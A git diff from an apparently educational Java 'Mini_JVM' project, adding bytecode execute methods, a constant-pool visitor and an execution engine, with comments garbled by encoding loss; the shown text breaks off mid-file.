zkuprM1L9-x7@ZlsQ|v6~+U<)|RY*xYW7IjByvEw318f3#x;(h$6S_SFm@W_w>769r
z?&vb!R(_kh?%A4klo|f~DAu0ui)?~Nhh==P*aDMiITJea)Mjvhct845RFGDcjKMQU
zP*Q?dCU~tfSUpc5(X6(STfRw#xFx=70Lh)vWcy-KfjW|i^c`9XGj;5|#`rgp7;XHN
zo%OKTrsoVFBKjDxQlt7&6KngQRd~c4pKFU*Y3D?cZp9_~^;CnGo%0Jw9C5{J(1mO5
zrviHu2$|!X<%p3ICh|CSUNseNcvEQcn?9H7bEo5Cy15eX{?x-N{*H7VYk`}cZEgPo
z^LIaW-_%g8dR^Do<oVOnCJiN06U-JZ{F24lCH{w^qR}|5UsXg#mZ)1dT!)t=Hw@h`
zzYa^j_V)4ocDmACTD-WvzI>mW@<QnI6AAHSx3SG9r(cfVTka;bKaEjoeMrNNZ3X3`
zHQS*?R!oh%Hv$A@m<pt`_T^4imoE2vs=i|Pe|V>wqO(niOna=)&wqrEM*+`v7LB~X
z*tvR+CRJ`B#^{BQlp9_3Sh|6=GJBq7^o?2)Zo>cy_vGY3#&lqwL32rJh{fPUVp9mc
z)<U)OT;6HXt-JF?iStU>^%b+z-w5pLA9SY$rGfTkCwp8`*DTtEt6RILIXM!bq+vpe
zn!Jg9+;sw?r}jqU({;#4{wGf)67J5^pYPu8L(Q-P*3VDx&E9@B5V}}A?E2{mV10_N
zB3jLb=GG`}0A_lRiPIVPTm|T@fKhL=2KnkjhN{yCdIF#v`&TEUJQbn?SB+5#OjCEN
zC!P;YSZk_>Xz(QXwK@_%VgN~4S|7G8OuD<BcP3<syELY1<^$&nzTuiKhY#`K7OQ%d
zX~!(|hD##i;Kn^5IBgerZ_Iz`%m0q%_d`ZKIUGV>H+vETyMbU6{QneCGjVn?|EIjQ
z=ozR|C=flVXS@uBW>4qd#VFCzACQTVDr9BGNKP)nT|I<7*|Xdp^&$iJ9_VYKYd?ob
zN3)P3L|ZpL50>Up&+-V1EfLd#jMqL4m`u$~U7S1QFVRA8-pt$;bs2s%oRR8=56o_-
zL=3q%iY*#QIl=FwlAXo!DG7Vy=t5QuUl3Dnp3WFJEVWpB2;NGH*g_w`G8xE=%Dsz3
z9B#eJ{6vRKO39L$R_Ut&qtY8hpflyXb)VHrh>1_`GB?(TrcRPKhYf)^`myxNm~J7I
z?c}%Tfe#-fOMPx`v)smc_kOL&&LEQ~MA^*TKG$~LC5k@2;eHG+D&{BDVWl_3V>Ypn
zB*xW^41N{LlQNgH4_%JgQn%hO&JZ{`V%ug>XJnRDz80#qlMs0+a_M8Tu~QjZxg&10
zwCw%5sdayTtR}dShGypJ?(4TkhN5B>_V)p;h$;R%vdwxBgCYd1Z$f0v=v1V_D=PHV
z`M!&bIT}X3dJc3<vllnj%w##l6-IAmBa%d<o64Ia1dt>@q5_aD;-u)8WWSThc>{t_
z(DnIux%+_~kOf4FoKC4@O3^X6ErAaTrQhD<sdzfZp8D9k;{tEUIX0#L%|i!fM=Bqq
zfTU7J>=Zfc6#0IlBe6AF4QKAQ+k@0jSw3ORuB375g!98h&W26;b;bimrZL8Oh2L#i
zsZ|;}`A~^{%q@2ZKL%%(e+<nE8i+@b`^MAuQRjwO;NyWD4glE#h6?v{?g0Lg7hMh?
zC@*3IbOSWDP!gtciP)S2yrO{En0!;Jg)4QsqDw-H-UN5(FXbYFh%KD5bnVA@ENMYf
zWAwl$oe`^0K_2yj^Z*_7;1WntS>ZyNGeybj-0H##on{-2Efz_;bls-Hsx~jV^8IuV
z@RBRB`-CHT(vC~t1~MfpJIc-@z)o5j%CTQK5B|Oa=Bt@7ZfbW(q!9V|sG4A-2)4{-
zxqWWksQTvz%-=!jJ3B+fz-$+E)=%!?pIo0Pv6nH*;5c4*)1o(h-o{9zxQ(W2GG&Kj
zo-gvoY|>8g!R#j^rqkq4cS?N^x*N`Wdstr0zZSYU_Bi^)CXi7`l`3a9ZtZ=t@$uZ>
zOSQ5luA*X+>fu&CRQ=2O$AR}91bl9eZu{7?-(7ZXMr*3NDs4t~cB#)?-96p4D|q`p
zM+UN0GJ4Y()p;qhkJc(oJ*)G;<pwO_w`6oz`BY!H9=L9*H|l#f)_Xg<od5tUH1~y~
z<~ZYQ@259?V-vMGc$!)#Bd2_LAUb;?Ie2PYiPIz1h%rk&#DOls_6{suvvx|mZj&Me
zB2Mu%YeYk?K4Pw(km)*<aNK<#dh6q7&+`5KR}O(596>G&%dC3!<$+iXu{+y{Nisnk
z$k7RmYFj;gc@ItuEZOBVglQMTk2|%vtNHm>9hk(q62@o6xM_LzrEJ`)P?<l@%RNSq
zCiL>kcFgfV1FRj(Q5VWaY+yf<mLLVM8i$*NAJ0be5|m-A*m*NqO)K*<2@h#ZmwsS(
zW-9FVGBP+eKeslod7)Rav|KW2Ms=gnETg_|&~M=(h4Ca3<zvzTIXpT9;@b&*>E#Ls
z;<hN8Q;#q82cVAW%qJD}&rg^T{6_gcq52Dj7(%JQ;o8`5S7bQNrnn4M-NYD*BD7Vs
zI^;OEocPA|x->aHdns0H+YEg^;*i@JwIKs+5%nq_T@s0H$<lp|R-~2=x{aGFO49Q5
za9ImC)rQ_XTWe7?Bm8KvsAF_;QYR*B-)^P(+lsSgsiFAU<_F03yDTYt$5QuAkzB-#
z)&TzQ=%hUqLw+HA+<wt-b`BQD6yaN^`tcv)eBZ1TQ<tEMGV-W5N%7*|^Rq)7M>COH
zuHo42C3%M664oa!zlC`*pD9F5avVdrMSgxt`n#43<oG};^5*ybU}w}=*z0Np{O@r_
z%iP5kqNDut7{d`ggwer`7c_$YfhsBMt)fvIDPFr~x8hz^5uNOTg1Z6U-r_x3GO`ed
z6zfk}WMVJV%1cXk<4n=NRa>UBLL|uST<3RKL>$q>SKf!K&hRxy>-b7VvDeSMl<v{%
zNqzN(U9gSX>O_0$jQ-o)bhI7e05qy|tXL})tTNeaH3oar2#At^|2F|=fW7%2UwHqB
zpVMxPpGR*100BS-D4+A#fK-knTuDJZ3HiY1<FJ|V?_IA?&Ea?bb=!u`(BXG(Nu@55
zhwXeNU8V%ngkit`v-AI(v|sH^3wytJV6PwZ`ybQ!zvk}nAUWK;dKuWpwao}cKLA$}
z9&~-M4G)rr-AJxLzfP(@oeR&YL=hpRsUAm|dw#qi3*%f#c+T~CCOoGGcI)|r^Lx4p
z4+@kt`A!7`U0Lo*!u#a<B=HLL!_#@l|AMaOityVP`NYoKR*fTE$(9w;p&uatugCT2
z<JI;*95eLy_J7VI;bHN~kH1;NU<#+mfx0lrm4t^~ABDlg%3-&OpGLdV<yt2Po`;c=
z+iwZu4U4{|SAy}bBs}l>pa!1j3;R&WfAW5fZQyy6sP@%5FwQ$2$*(_*cqQR^*T)s`
zybbifc-Mv(@VpO#>t|@N*r?i5VK9d2c_ra_*W2Onykpn}{SW=FH^<?D-VBK)=rACm
zUXrO540t8sf!Euy@W9WoDfb`1|7y;{BR%U{?*7ox^sX}09cI%j36H$q^Mglz$Nd}m
zUmZYrrjy7r_m8BASV#iGOL*q>4jnx6H7xP|Q1h>T9Xzd6Z%EA!M!QPED+y1#-m`+I
z0bv)6KWKk+u;5wX3bAc%m=!gOIbUeO$$wb?uZMHR`cX~X3IAdJ`|yL`9D%J=%n_!@
zmHhMZ@lTPz-uJoM{6{Ux{&VyH>;l0P)qJQ=P+`GwMZA*mrn}yZfG0jC{zIK#1s|?8
z0S`P2vyaAu0cB%@b$>h=uOvM1`qd8}=u7tBK)8z_Jg{!6UxXG0WN5vYX%DmQm4pXg
zKcBz@6=9?2AHne-rxkcm(h7oT5KJRUY%MN$siuemtGNIG5$s#z$4BIT%+mn>15Z9d
A$N&HU

literal 0
HcmV?d00001

diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/attr/CodeAttr.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/attr/CodeAttr.java
index e07662a68b..b09c94f55a 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/attr/CodeAttr.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/attr/CodeAttr.java
@@ -1,6 +1,8 @@
 package com.coderising.jvm.attr;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 public class CodeAttr extends AttributeInfo{
@@ -10,6 +12,12 @@ public class CodeAttr extends AttributeInfo{
 	private int codeLen;
 	private String code;
 	
+	private ByteCodeCommand[] cmds;
+	
+	public ByteCodeCommand[] getCmds(){
+		return cmds;
+	}
+	
 	public String getCode(){
 		return code;
 	}
@@ -21,12 +29,13 @@ public String getCode(){
 	
 	
 	
-	public CodeAttr(int attrNameIndex,  int attrLen , int maxStack, int maxLocals, int codeLen,String code) {
+	public CodeAttr(int attrNameIndex,  int attrLen , int maxStack, int maxLocals, int codeLen,String code, ByteCodeCommand[] cmds) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
+		this.cmds = cmds;
 	}
 	
 	public void setLineNumberTable(LineNumberTable t) {
@@ -50,7 +59,12 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		int codeLen = iter.nextU4toInt();
 		// �������� code
 		String code = iter.nextUxToHexString(codeLen);
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, max_Locals, max_Locals, code);
+		System.out.println("code: " + code);
+		
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+		System.out.println("cmds:  ==== " + cmds.length);
+		System.out.println("CodeAttr�����е�cmd�ij��ȣ� " + cmds.length);
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, max_Locals, max_Locals, code, cmds);
 		
 		int exceptionTableLen = iter.nextU2toInt();
 		
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/clz/ClassFile.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/clz/ClassFile.java
index 4492d2df9e..adf0162155 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/clz/ClassFile.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/clz/ClassFile.java
@@ -5,6 +5,7 @@
 
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.field.Field;
 import com.coderising.jvm.method.Method;
 
@@ -92,4 +93,31 @@ private String getSuperClassName(){
 		return superClass.getClassName();
 	}
 	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		for(Method m : methods){
+			int nameIndex = m.getNameIndex();
+			int descIndex = m.getDescriptorIndex();
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descIndex);
+			if(name.equals(methodName) && desc.equals(paramAndReturnType)){
+				return m;
+			}
+		}
+		return null;
+	}
+	
+	public Method getMainMethod(){
+		
+		for(Method m : methods){
+			int nameIndex = m.getNameIndex();
+			int descIndex = m.getDescriptorIndex();
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descIndex);
+			if( name.equals("main")  && desc.equals("([Ljava/lang/String;)V")){
+				return m;
+			}
+		}
+		return null;
+	}
+	
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/BiPushCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/BiPushCmd.java
index a211b332a4..62359138ea 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/BiPushCmd.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/BiPushCmd.java
@@ -2,6 +2,10 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 // bipush: �����ֽڵij���ֵ(-128 - 127) ������ջ��
 public class BiPushCmd extends OneOperandCmd{
@@ -15,4 +19,11 @@ public String toString(ConstantPool pool) {
 		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		int value = this.getOperand();
+		JavaObject jo = Heap.getInstance().newInt(value);
+		frame.getOprandStack().push(jo);		
+	}
+
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/ByteCodeCommand.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/ByteCodeCommand.java
index 66d99de660..f9ccb52a97 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -6,6 +6,8 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public abstract class ByteCodeCommand {
 	String opCode;
@@ -123,4 +125,6 @@ public String getReadableCodeText(){
 		}
 		return txt;
 	}
+	
+	public abstract void execute(StackFrame frame,ExecutionResult result);
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/LdcCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/LdcCmd.java
index b6910b16c8..6b110a8f47 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/LdcCmd.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/LdcCmd.java
@@ -4,6 +4,10 @@
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 public class LdcCmd extends OneOperandCmd{
 
@@ -25,4 +29,20 @@ public String toString(ConstantPool pool) {
 		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		ConstantPool pool = this.getConstantPool();
+		ConstantInfo info = pool.getConstantInfo(this.getOperand()); 
+		
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			String value = strInfo.toString();
+			JavaObject jo = Heap.getInstance().newString(value);
+			frame.getOprandStack().push(jo);
+		}else{
+			throw new RuntimeException("Only support StringInfo constant");
+		}
+	}
+
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NewObjectCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NewObjectCmd.java
index 765554d825..e2a31a2d9c 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NewObjectCmd.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -1,7 +1,12 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 public class NewObjectCmd extends TwoOperandCmd{
 
@@ -14,4 +19,17 @@ public String toString(ConstantPool pool){
 		return super.getOperandAsClassInfo(pool);
 	}
 
+	public void execute(StackFrame frame, ExecutionResult result){
+		
+		int index = this.getIndex();//
+		
+		ClassInfo info = (ClassInfo)this.getConstantInfo(index);
+		
+		String clzName = info.getClassName();
+		
+		// �� Java���ϴ���һ��ʵ��
+		JavaObject jo = Heap.getInstance().newObject(clzName);
+		frame.getOprandStack().push(jo);// ����ǰջ֡�еIJ�����ջ��ѹ��ʵ������
+
+	}
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NoOperandCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NoOperandCmd.java
index 238cd633fc..202e13419d 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NoOperandCmd.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class NoOperandCmd extends ByteCodeCommand{
 
@@ -19,4 +21,13 @@ public String toString(ConstantPool pool) {
 		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		String opCode = this.getOpCode();
+		
+		
+		
+	}
+
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/PutFieldCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/PutFieldCmd.java
index 601574ea5b..59e5a09230 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/PutFieldCmd.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -2,6 +2,10 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class PutFieldCmd extends TwoOperandCmd{
 
@@ -14,5 +18,18 @@ public String toString(ConstantPool pool) {
 		
 		return super.getOperandAsField(pool);
 	}
+	
+	public void execute(StackFrame frame, ExecutionResult result){
+		
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		
+		NameAndTypeInfo nameTypeInfo = (NameAndTypeInfo)this.getConstantInfo(fieldRef.getNameAndTypeIndex());
+		// example : name
+		String fieldName = nameTypeInfo.getName();
+		// example : Ljava/lang/String 
+		String fieldType = nameTypeInfo.getTypeInfo();
+		
+		
+	}
 
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/TwoOperandCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/TwoOperandCmd.java
index 0a2aeff703..44d232d2e5 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/TwoOperandCmd.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -6,6 +6,8 @@
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.FieldRefInfo;
 import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class TwoOperandCmd extends ByteCodeCommand{
 
@@ -73,6 +75,12 @@ public String toString(ConstantPool pool) {
 		return null;
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
 
 
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ClassInfo.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ClassInfo.java
index 13fc4101a3..78210d1090 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ClassInfo.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ClassInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.constant.ConstantInfo.Visitor;
+
 public class ClassInfo extends ConstantInfo{
 	
 	private int type = ConstantInfo.CLASS_INFO;//  ��ʾ�ó���Ϊ ���ӿڵķ�������
@@ -28,6 +30,11 @@ public String getClassName(){
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);
+	}
 	
 	
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ConstantInfo.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ConstantInfo.java
index e20be200d6..87d6bfda12 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ConstantInfo.java
@@ -30,5 +30,17 @@ public ConstantInfo getConstantInfo(int index){
 											// ContantInfo ���е� getConstantInfo ��������ͬ
 	}
 	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visitUTF8(UTF8Info info);
+	}
+
+	
 	
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ConstantPool.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ConstantPool.java
index 82565b7f59..11546afd64 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ConstantPool.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/ConstantPool.java
@@ -24,7 +24,7 @@ public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
 	
-	public Object getSize(){
+	public int getSize(){
 		return constantInfos.size() - 1;
 	}
 	
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/FieldRefInfo.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/FieldRefInfo.java
index 731c35b118..9e9136511e 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/FieldRefInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.constant.ConstantInfo.Visitor;
+
 public class FieldRefInfo extends ConstantInfo{
 	
 	private int type = ConstantInfo.FIELD_INFO;
@@ -50,6 +52,12 @@ public String getFieldType(){
 		NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(nameAndTypeIndex);
 		return typeInfo.getTypeInfo();
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);
+		
+	}
 }
 
 
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/MethodRefInfo.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/MethodRefInfo.java
index 49d89083fd..0931939a35 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/MethodRefInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.constant.ConstantInfo.Visitor;
+
 public class MethodRefInfo extends ConstantInfo{
 	
 	private int type = ConstantInfo.METHOD_INFO;
@@ -49,4 +51,10 @@ public String getParamAndReturnType(){
 		return typeInfo.getTypeInfo();
 	}
 
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);
+		
+	}
+
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/NameAndTypeInfo.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/NameAndTypeInfo.java
index 8494e5e76a..93e4db9331 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.constant.ConstantInfo.Visitor;
+
 public class NameAndTypeInfo extends ConstantInfo{
 	
 	public int type = ConstantInfo.NAME_AND_TYPE_INFO;
@@ -48,5 +50,11 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo() + ")";
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
 	
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/NullConstantInfo.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/NullConstantInfo.java
index f0be39e410..5237dd0ade 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/NullConstantInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.constant.ConstantInfo.Visitor;
+
 public class NullConstantInfo extends ConstantInfo{
 
 	public NullConstantInfo(){
@@ -9,5 +11,9 @@ public NullConstantInfo(){
 	public int getType() {
 		return -1;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		
+	}
 	
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/StringInfo.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/StringInfo.java
index 3ff8e9402b..f84782a7da 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/StringInfo.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/StringInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.constant.ConstantInfo.Visitor;
+
 public class StringInfo extends ConstantInfo{
 
 	private int type = ConstantInfo.STRING_INFO;
@@ -27,4 +29,11 @@ public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
 
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
+
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/UTF8Info.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/UTF8Info.java
index 6374764b5f..edfa5aeabd 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/UTF8Info.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/constant/UTF8Info.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.constant.ConstantInfo.Visitor;
+
 public class UTF8Info extends ConstantInfo{
 	
 	private int type = ConstantInfo.UTF8_INFO;
@@ -35,6 +37,12 @@ public void setValue(String value){
 	public String toString(){
 		return "UTF8Info [type=" + type + ",length" + length + ",value" + value + ")]";
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitUTF8(this);
+		
+	}
 	
 
 }
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/ExecutionResult.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..7aefa17174
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/ExecutionResult.java
@@ -0,0 +1,52 @@
+package com.coderising.jvm.engine;
+
+import com.coderising.jvm.method.Method;
+
+public class ExecutionResult {
+	
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+	
+	private int nextAction = RUN_NEXT_CMD; 
+	
+	private int nextCmdOffset = 0;
+	
+	private Method nextMethod;
+	
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+	
+	public void setNextAction(int action){
+		this.nextAction = action;
+	}
+	
+	public boolean isPauseAndRunNewFrame(){
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+	
+	public boolean isExitCurrentFrame(){
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+	
+	public boolean isRunNextCmd(){
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+	
+	public boolean isJump(){
+		return this.nextAction == JUMP;
+	}
+	
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/ExecutorEngine.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..cd48c10186
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,70 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+
+
+import com.coderising.jvm.method.Method;
+
+public class ExecutorEngine {
+	
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+	List list = new ArrayList();
+	public ExecutorEngine(){
+		
+	}
+	
+	public void execute(Method mainMethod){
+		
+		// ���� main������ջ֡
+		StackFrame mainFrame = StackFrame.create(mainMethod);
+		stack.push(mainFrame);
+		
+		
+		while(! stack.isEmpty() ){
+			
+			StackFrame frame = stack.peek();
+			
+			ExecutionResult result = frame.execute();
+			
+			if(result.isPauseAndRunNewFrame()){
+				
+				Method nextMethod = result.getNextMethod();
+				StackFrame nextFrame = StackFrame.create(nextMethod);// �����µ�ջ֡
